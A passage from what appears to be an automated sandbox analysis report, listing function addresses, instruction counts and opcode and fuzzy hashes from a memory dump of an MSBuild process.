                                                                          Function 013CD0C0 Relevance: .1, Instructions: 73COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a31c2c23b4517fa83190f2f071b075dcb825627450a6f94414447da29f9bb9ec
                                                                          • Instruction ID: c21f3cb421d6b070f7a0ef1fc2a9990fdab69e5bb3fafef96a6fec5c59277839
                                                                          • Opcode Fuzzy Hash: a31c2c23b4517fa83190f2f071b075dcb825627450a6f94414447da29f9bb9ec
                                                                          • Instruction Fuzzy Hash: F921B072644705ABD3119E1CCC41B5BBBA8EB88B68F01013EF9499B7A0D334DC0087E9
                                                                          Function 0138A30B Relevance: .1, Instructions: 70COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: f2c827b300f6f53794eb0fd2406386d5c16c3b46a4ef65afd57d68791fd916a9
                                                                          • Instruction ID: 00cf9f4eb81f3b770b401c034b09fd60e399c13b128fd516cb2784e0e28a1358
                                                                          • Opcode Fuzzy Hash: f2c827b300f6f53794eb0fd2406386d5c16c3b46a4ef65afd57d68791fd916a9
                                                                          • Instruction Fuzzy Hash: 96219879200B01ABCB25DF29C801B46B7E9AF58B08F24846DA509CBB65E371E842CB94
                                                                          Function 013E80A8 Relevance: .1, Instructions: 69COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                                                                          • Instruction ID: 5c86a15d79a5a689d27ed9127cecc4d2efecf199772d8860ef4599d07c48f62c
                                                                          • Opcode Fuzzy Hash: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
                                                                          • Instruction Fuzzy Hash: 19216A72A00219EFDF129F98CC44BAEBBFAEF88318F204459F904A7291D774D9508B50
                                                                          Function 013715A9 Relevance: .1, Instructions: 69COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 29802a1ca24c6965babefc6623953e4fc32110ab479eab20bfca4cc576a297b9
                                                                          • Instruction ID: c8eee0ff86c87f1a2f72e038ddfb152adbe12d853b92dbc1ffa60868758b04d4
                                                                          • Opcode Fuzzy Hash: 29802a1ca24c6965babefc6623953e4fc32110ab479eab20bfca4cc576a297b9
                                                                          • Instruction Fuzzy Hash: FF212632604A85DFE7268B5DC884B657BE8AF4039CF0900A1EE058BB52F738CC00C650
                                                                          Function 01380124 Relevance: .1, Instructions: 68COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                                                          • Instruction ID: 651042bdc764db2d237d492ef168d64aaa20504f3907b141e2d05bf730b3f1d6
                                                                          • Opcode Fuzzy Hash: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
                                                                          • Instruction Fuzzy Hash: CA11B277601705AFD726AF58CC81F9ABBB9EB84768F104029F6049B190D671ED48CB60
                                                                          Function 013580E9 Relevance: .1, Instructions: 66COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 8bfa2470d1d6040b6e4fff287352801c6c07c82844c8105504a2760f57268574
                                                                          • Instruction ID: 8cf65b0e4747961bb187c2f6cd5ab2dea94578742403c3015926e191c9872cb3
                                                                          • Opcode Fuzzy Hash: 8bfa2470d1d6040b6e4fff287352801c6c07c82844c8105504a2760f57268574
                                                                          • Instruction Fuzzy Hash: 25216F75A00209DFCB14CF59C581AAEBBF5FB89718F2441ADD505A7311CB71AE06CBD0
                                                                          Function 01349240 Relevance: .1, Instructions: 64COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 076f8b43d29d1514b71eece487e6a5a2024dacd1d50ccbf72441108f7ea079d1
                                                                          • Instruction ID: 554c9e53feef683e341f8e890e56562e607e6784e52fae7b90d77ae4d845cedc
                                                                          • Opcode Fuzzy Hash: 076f8b43d29d1514b71eece487e6a5a2024dacd1d50ccbf72441108f7ea079d1
                                                                          • Instruction Fuzzy Hash: 6411047E011215ABE7359F55D801A72BBF8FBA8B88F508025E8089736CD334DD01CB64
                                                                          Function 0137B052 Relevance: .1, Instructions: 57COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2053edf0d3583805d3e49f2d663ab8ab6d896234d4904b3a34ea6f49092107b8
                                                                          • Instruction ID: 2a77bfebc135ce78fe642bb7d6414f8d73cb18fff338e8a4aa8340b184a86ca0
                                                                          • Opcode Fuzzy Hash: 2053edf0d3583805d3e49f2d663ab8ab6d896234d4904b3a34ea6f49092107b8
                                                                          • Instruction Fuzzy Hash: 2501D672700305ABE731AB6E9C80FAFB6FCDF94218F040429E705D7240EB78E9008621
                                                                          Function 01347330 Relevance: .1, Instructions: 55COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 884a94ce11aaeea502a00d126f0079140f402334485986a231034537f36a1175
                                                                          • Instruction ID: 08282f0f2fef29798573a4cee8dc9dea10a1bab40fc324b210b86bf17e8146fa
                                                                          • Opcode Fuzzy Hash: 884a94ce11aaeea502a00d126f0079140f402334485986a231034537f36a1175
                                                                          • Instruction Fuzzy Hash: BD117C72600615AFE721CF69C846BAB77E8EB45358F058829EA95CB211D735FC40CBA1
                                                                          Function 0137E53E Relevance: .1, Instructions: 55COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                                                                          • Instruction ID: 7a433a94a31989fb03a22d99665e056f61dce11cec3cac4182fa1da6d6151566
                                                                          • Opcode Fuzzy Hash: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
                                                                          • Instruction Fuzzy Hash: 6211CE722056CADBE732972C8994BA53BDCAB417ACF1910F0DF418BE82F328D842C650
                                                                          Function 0137F2D0 Relevance: .1, Instructions: 54COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 137754830f06b905131b45eeb6287943eb410eb0a85f210de558c1a1b5a86804
                                                                          • Instruction ID: 69b01ca04d21bf50ddb9cca6fe053abe6da725ff09d25ef50453cbc591db65d3
                                                                          • Opcode Fuzzy Hash: 137754830f06b905131b45eeb6287943eb410eb0a85f210de558c1a1b5a86804
                                                                          • Instruction Fuzzy Hash: 1411CE75600688DBDB20DF6DC884BAEB7ACFF54B08F15406AEA05EB651DA39DD01CB50
                                                                          Function 013E72A0 Relevance: .1, Instructions: 53COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 1e850f2c6b8a62aa57273bc2e4efeca7cc81b0ea7f022921ea7aa6f1d3ab38ae
                                                                          • Instruction ID: e4c16b2ab7317c8b82d5a61e7acaaa8a249ad189116519da9d57483113692a52
                                                                          • Opcode Fuzzy Hash: 1e850f2c6b8a62aa57273bc2e4efeca7cc81b0ea7f022921ea7aa6f1d3ab38ae
                                                                          • Instruction Fuzzy Hash: 1601B572140A16BFEB11AF5ACC84E63FBADFF647A8B404525F254425A4C731ACA0CBE4
                                                                          Function 0134A250 Relevance: .1, Instructions: 52COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                                                                          • Instruction ID: 898b4b99be18cd3b71a563c97b9f1ef531ad54fbf7bc0e6b5c46b71dacd5326f
                                                                          • Opcode Fuzzy Hash: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
                                                                          • Instruction Fuzzy Hash: D2014931544726ABCB318F19D840A727BF8FF55764700852DFC9A8B681C332E400DB60
                                                                          Function 013CE1D0 Relevance: .1, Instructions: 51COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a97c7a35a34a357f46d6a15470db2f70337ab345a896d07b61fbf2035d4fab6e
                                                                          • Instruction ID: ac450bec137f153c2a6e5b0375b99cf63d9fc965c6e91eba57ce87f0105f87d4
                                                                          • Opcode Fuzzy Hash: a97c7a35a34a357f46d6a15470db2f70337ab345a896d07b61fbf2035d4fab6e
                                                                          • Instruction Fuzzy Hash: 94118B32241241EFDB26AF19C980F16BBB9FF54B48F200079E9059B6A1C235ED01CB90
                                                                          Function 01356259 Relevance: .1, Instructions: 51COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 94efd77468a2d2ca6616aa7f8bdb85db230d22c7630e0b95bce3f8732143be7f
                                                                          • Instruction ID: a013a510e25fd3b267820e2b934580de6f2753ad63e1ecc3a13b1b73042ba3ef
                                                                          • Opcode Fuzzy Hash: 94efd77468a2d2ca6616aa7f8bdb85db230d22c7630e0b95bce3f8732143be7f
                                                                          • Instruction Fuzzy Hash: D7117070542229ABDF75EB68CC42FE973B4BF04718F5041D4A718A61E0DB709E81CF84
                                                                          Function 013D6050 Relevance: .0, Instructions: 50COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 78023af445f63cb9f7d93fa2d1985137947b6b706ea3b0f1f36a173514fda420
                                                                          • Instruction ID: 9d36abddba9045cd6105cffacb8575690a3de8ed9d549943b7839079f3aa0d26
                                                                          • Opcode Fuzzy Hash: 78023af445f63cb9f7d93fa2d1985137947b6b706ea3b0f1f36a173514fda420
                                                                          • Instruction Fuzzy Hash: 051117B390011DABCF12DB98DC85DDFBB7CEF48258F044166A916E7211EA34AA55CBA0
                                                                          Function 0135208A Relevance: .0, Instructions: 50COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
                                                                          • Instruction ID: 815e255c98839db37fd0f985dec49494f79aee0172c17483829e69187def8849
                                                                          • Opcode Fuzzy Hash: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
                                                                          • Instruction Fuzzy Hash: 4E01F132201111CBEF559A6DD880E97B76AFFD4A08F9A40A9ED058F256DA71D881C790
                                                                          Function 0134C020 Relevance: .0, Instructions: 49COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
                                                                          • Instruction ID: 2ef11a6b80bc6d03a4d27392d06e2dd5c2dc1295e9bdf04afd9787e5962c2057
                                                                          • Opcode Fuzzy Hash: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
                                                                          • Instruction Fuzzy Hash: 5B01B532100705DFEB22D6AAC840EA777EDFFD5258F458419A6968B950DA74F441CB50
                                                                          Function 013920F0 Relevance: .0, Instructions: 49COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 232eb9df098a75eb2bad9afb63d0ec455c3b5de896c8e6fa54cdec8bdb17d97e
                                                                          • Instruction ID: c28cf4e0e1ad04706e0969af4f0f919fc17dc3107e5cc3777eb3c4ce2d59c234
                                                                          • Opcode Fuzzy Hash: 232eb9df098a75eb2bad9afb63d0ec455c3b5de896c8e6fa54cdec8bdb17d97e
                                                                          • Instruction Fuzzy Hash: 99116D75A0020DAFCF05DFA8C950EAE7BB9EB44688F004059E90597250E635AE11CB90
                                                                          Function 0138E5CF Relevance: .0, Instructions: 49COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 125da165e08ef5b7eec2ae268815c165b7ec59fd2f518dd1a8d7a001373a54aa
                                                                          • Instruction ID: 6a993994815610d4b9f32bc10a8dc0e6261c049c679d9668a8bfb375b50c0201
                                                                          • Opcode Fuzzy Hash: 125da165e08ef5b7eec2ae268815c165b7ec59fd2f518dd1a8d7a001373a54aa
                                                                          • Instruction Fuzzy Hash: CF01D4B1201606BBE611AB6DCD40E13BBBCFB55768701462AB20983564DB24EC11C7A0
                                                                          Function 01349353 Relevance: .0, Instructions: 48COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 16eb1e9227c9ca53ee971aeba792c6b4be561f846bb8a1c766c052503132072f
                                                                          • Instruction ID: 7ea47e467147dc374ee2a8b8fe82d92dbfaf8a77a929444e323e185cc0167e0a
                                                                          • Opcode Fuzzy Hash: 16eb1e9227c9ca53ee971aeba792c6b4be561f846bb8a1c766c052503132072f
                                                                          • Instruction Fuzzy Hash: 7E118E32410A02DFD7319F19C880B22B7E4FF5576AF15C86CE4894A4AAC374E880CB10
                                                                          Function 0138D1D0 Relevance: .0, Instructions: 47COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2103513d2fbd223765d54b27d59d1ce24549dd4e977acd5ce3c70b0a80ca45ab
                                                                          • Instruction ID: 46876a3c2ddfa965e9fea39f74f4e8546ee613c1e8dc80125896520f782c0550
                                                                          • Opcode Fuzzy Hash: 2103513d2fbd223765d54b27d59d1ce24549dd4e977acd5ce3c70b0a80ca45ab
                                                                          • Instruction Fuzzy Hash: 45014C716002089BDB11ABA8E400F69B759DB94B3CF10415AFE158B2C0CB74DD41C790
                                                                          Function 013733A5 Relevance: .0, Instructions: 47COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 5807426d3854de8340053ba828383e613f6f2126caef2cc0c9319ce74fae2529
                                                                          • Instruction ID: 063504f229aedaa0ec609821edd77c624d097e5b76508a1c69baa9af7e3ac24b
                                                                          • Opcode Fuzzy Hash: 5807426d3854de8340053ba828383e613f6f2126caef2cc0c9319ce74fae2529
                                                                          • Instruction Fuzzy Hash: E101D63630020AE7CB269F9ECD00EDB7E6CBF84658B144469BA05E7520EA34D901D760
                                                                          Function 0140F5BE Relevance: .0, Instructions: 47COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 434db7dc881d0698f4b91bd58d49d81466d13a114d26bf66c1d883f605782f6e
                                                                          • Instruction ID: dea14eb441caf54bccb8b53e6e301ed7e5813ebad1e659ec638f3e710135db23
                                                                          • Opcode Fuzzy Hash: 434db7dc881d0698f4b91bd58d49d81466d13a114d26bf66c1d883f605782f6e
                                                                          • Instruction Fuzzy Hash: 5C019E70A00249AFCB14EFADD841FAEBBB8EF44304F004026B904EB390D674DA02CB94
                                                                          Function 0140F453 Relevance: .0, Instructions: 47COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 52d94e190fbdcb78575fbc6588711295f5896befc7d32bd02772c0d2c6300a4d
                                                                          • Instruction ID: 8ce5cdfe103a275cb3d1b7d4ffbc11d994fcbe4529da45b8eb691ec51c955bac
                                                                          • Opcode Fuzzy Hash: 52d94e190fbdcb78575fbc6588711295f5896befc7d32bd02772c0d2c6300a4d
                                                                          • Instruction Fuzzy Hash: DE017C71A10249AFDF14EFADD841FAEBBB8EF54714F00406AB904EB391DA74DA05CB94
                                                                          Function 0136E016 Relevance: .0, Instructions: 46COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                                                                          • Instruction ID: 96e325657541468f570f9028a29a832fecc0dcc421bc6b8b956d1671a98adabd
                                                                          • Opcode Fuzzy Hash: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
                                                                          • Instruction Fuzzy Hash: BD017C32204584DFE326C61EC948F267BECEB5575CF0944B1F905DBAD1D628DC40C661
                                                                          Function 0134826B Relevance: .0, Instructions: 46COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 84932ff7d723beb828853507a063fc31c1c4f5084c342f86961e34e7c5973b3c
                                                                          • Instruction ID: 6895f7164ed5987a1c3adb8eacc6213ad53cd954d08cdff23d9613735de03d03
                                                                          • Opcode Fuzzy Hash: 84932ff7d723beb828853507a063fc31c1c4f5084c342f86961e34e7c5973b3c
                                                                          • Instruction Fuzzy Hash: 1F01A276700519DFD714EFAEE8009AEBBF9FF80618B1540A9D901A7654EE30ED06C790
                                                                          Function 0140F367 Relevance: .0, Instructions: 45COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a23f5ea7cad2dc8a38292de1773ae9f8c8f254565fe074f0e813f1ba822bbf48
                                                                          • Instruction ID: 838d73aa20edfb2f707ed27d40bd618c04d907bb79f8a0763964ce9fbf380abe
                                                                          • Opcode Fuzzy Hash: a23f5ea7cad2dc8a38292de1773ae9f8c8f254565fe074f0e813f1ba822bbf48
                                                                          • Instruction Fuzzy Hash: 0E018F71A10258ABDB10EBAAD855FAFBBB8EF54704F00406AB901EB390E674D901CB94
                                                                          Function 01352582 Relevance: .0, Instructions: 45COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 080ae258e84f8d9a49a633e9b282c5c6cc33e700c1ebd507a52f4e0bba0e0160
                                                                          • Instruction ID: c1ea592ace6544ccc21a864d03eb8c1b2ba8ce8eee8b9c0688c6bae475470310
                                                                          • Opcode Fuzzy Hash: 080ae258e84f8d9a49a633e9b282c5c6cc33e700c1ebd507a52f4e0bba0e0160
                                                                          • Instruction Fuzzy Hash: 7EF0F432641A10F7C7329B5ACC40F57BAADEB84FA8F118429BA0997640CA30ED01CAE0
                                                                          Function 01425152 Relevance: .0, Instructions: 43COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 4dbd20050f61f823b9bcda926298b43e94785f12b3c645f027f7fd4ff762b559
                                                                          • Instruction ID: a4792dc4b2394cfb0a041b53486d24d946aeb7dc318544e68d5412c31da44042
                                                                          • Opcode Fuzzy Hash: 4dbd20050f61f823b9bcda926298b43e94785f12b3c645f027f7fd4ff762b559
                                                                          • Instruction Fuzzy Hash: 35012CB1A10259AFDB00DFA9D9519EEBBF8FF58304F10405AE905E7350D634EA01CBA4
                                                                          Function 01425060 Relevance: .0, Instructions: 43COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: ce7e4bbddce2c915bd4876a0b3c81caa9df443787a39612ae7085bca8578be90
                                                                          • Instruction ID: 113a055343d42d1c3096e86fcb264181d11ebb7419d6a3b73e1b1b3ad039b031
                                                                          • Opcode Fuzzy Hash: ce7e4bbddce2c915bd4876a0b3c81caa9df443787a39612ae7085bca8578be90
                                                                          • Instruction Fuzzy Hash: E60171B1A00219AFCB00DFA9D9419EEB7F8FF58304F10405AFA01E7351D634E9018BA0
                                                                          Function 0137C073 Relevance: .0, Instructions: 43COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
